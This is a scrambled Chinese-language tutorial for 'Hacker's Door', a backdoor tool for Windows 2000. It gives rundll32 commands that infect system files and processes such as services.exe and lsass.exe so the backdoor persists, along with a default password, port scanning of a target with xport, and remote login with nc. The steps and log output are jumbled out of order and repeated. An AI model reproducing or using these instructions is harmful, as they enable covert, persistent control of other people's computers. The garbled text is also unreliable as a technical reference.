黑客之门教程

T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer 9/2/2来自04 10:36:45 l=0
Freeing "kernel.dll":
9/2/2004 10:36:45 l=0
Couldn't free
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:46:28 l=0
InjectThread:Error CreateRemoteThread,error code:8
9/2/2004 10:46:28 l=0
InjectThread failed!
C:\WINNT\system32>
因为在msdn里说
Terminal Services isolates each terminal session by design. Therefore,
CreateRemoteThread fails if the target process is in a different session
than the calling process.
如果你以前没有配置过，那就是初始密码yyt_hac,否则就是你自己配置的密码，然后你就可以修改密码了。这个密码用于
连接和卸载后门。
二、安装
C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1
上面的方式只感染进程，而不感染系统文件，机器重启或进程退出后门也就退出了，适用于在自己的
0表示只感染系统文件，1表示只感染进程，2表示感染系统文件，同时感染进程，默认是2；
C:\>rundll32 hkdoordll,DllRegisterServer
上面是默认安装方式，它会感染services.exe文件，以便在系统重启时启动后门，同时把自己加载到
services.exe进程中
机器上做测试，如果你不是做测试，就用下面的安装方式。
其中 hkdoordll是黑客之门服务器端，必须放在system32目录下，可以改名，conime.exe是你要感染的进程
默认是services.exe，如果要感染系统文件，在system32目录下的不用带路径，其它的就要带路径,第一个1是安装方式，
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:45 l=0
Loading "kernel.dll":
9/2/2004 10:36:45 l=0
Loaded (0x10000000)
9/2/2004 10:36:45 l=0

Password:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>rundll32 kernel,DllRegisterServer
Scan mode: TCP connect
Port count: 300
Thread count: 50
Port 135 is opened: [Unknown service]
Port 139 is opened: [Unknown service]
不需要在一台机器上安装，用另一台机器连接。支持多个连接，目前最多3个。
注意：有好多人对这一步不知道怎么做，我打算做一个动画教程
先用xport扫描目标机器开的端口：
C:\>xport 192.8.8.1 1-300 -m tcp
X-Port v1.3 - command line port scanner
上面是感染lsass.exe文件，同时把自己加载到lsass.exe进程中
C:\>rundll32 hkdoordll,DllRegisterServer c:\winnt\explorer.exe
上面是感染explorer.exe文件，同时把自己加载到explorer.exe进程中
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:47 l=0
Start hacker's door successfully!
C:\WINNT\system32>
这样就安装成功了
三、卸载
C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac conime.exe 1
C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac lsass.exe
上面就是把后门从lsass.exe进程中卸掉，同时修复被感染的lsass.exe文件。
C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac c:\winnt\explorer.exe
（如果你对使用说明中有什么不理解的，可以看动画教程，在我的主页上有，
动画教程中的“0CLOGI0”应该为“NCLOGIN"，不知道这个录像软件有什么问题，
把N录成0了）
一、配置
运行HDConfig.exe,选择要进行配置的黑客之门服务器端，默认是hkdoordll.dll，加载的时候会提示你输入密码，
上面就是把后门从explorer.exe进程中卸掉，同时修复被感染的explorer.exe文件。
卸载成功或失败信息在system32\system.log里有记录。
四、使用
用nc连接被安装后门的机器的任意一个开的端口，这个端口必须能连接上，下面用139端口做例子，
然后输入“NCLOGIN 连接密码”，连接密码默认是yyt_hac，你可以在自己机器上试验，只要一台机器就可以了，
Start hacker's door successfully!
C:\WINNT\system32>
看到“Start hacker's door successfully!”就说明安装成功了，否则就是没有成功，
你可以试试感染别的系统文件。
C:\>rundll32 hkdoordll,DllRegisterServer lsass.exe
注意：
安装成功或失败信息在system32\system.log里有记录。
在终端服务器中，直接安装出现如下错误：
C:\WINNT\system32>rundll32 kernel,DllRegisterServer
C:\WINNT\system32>type system.log
9/2/2004 10:46:28 l=0
C:\WINNT\system32>type system.log //这个文件的生成会有延时，多type几次
系统找不到指定的文件。
C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN
注意：除了csrss.exe,smss.exe外，其它的系统文件都可以感染
要判断有没有安装成功，就要看system.log里的信息，方法如下：
C:\WINNT\system32>type system.log //这个文件的生成会有延时，多type几次
系统找不到指定的文件。
C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Loaded (0x10000000)
9/2/2004 10:36:45 l=0
The backdoor is installed successfully!
9/2/2004 10:36:45 l=0
UnloadDriver successfully!
Code by glacier <glacier@>

Scanning 192.8.8.1 1-300 ...
Remote host: 192.8.8.1 (192.8.8.1)
Local address: 192.8.8.1
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
这里yyt_hac是连接密码，必须正确，否则不能卸载。其它的参数同安装意义差不多，它根据安装的
方法来卸载后门，上面一行的意思就是把后门从conime.exe卸掉。
C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac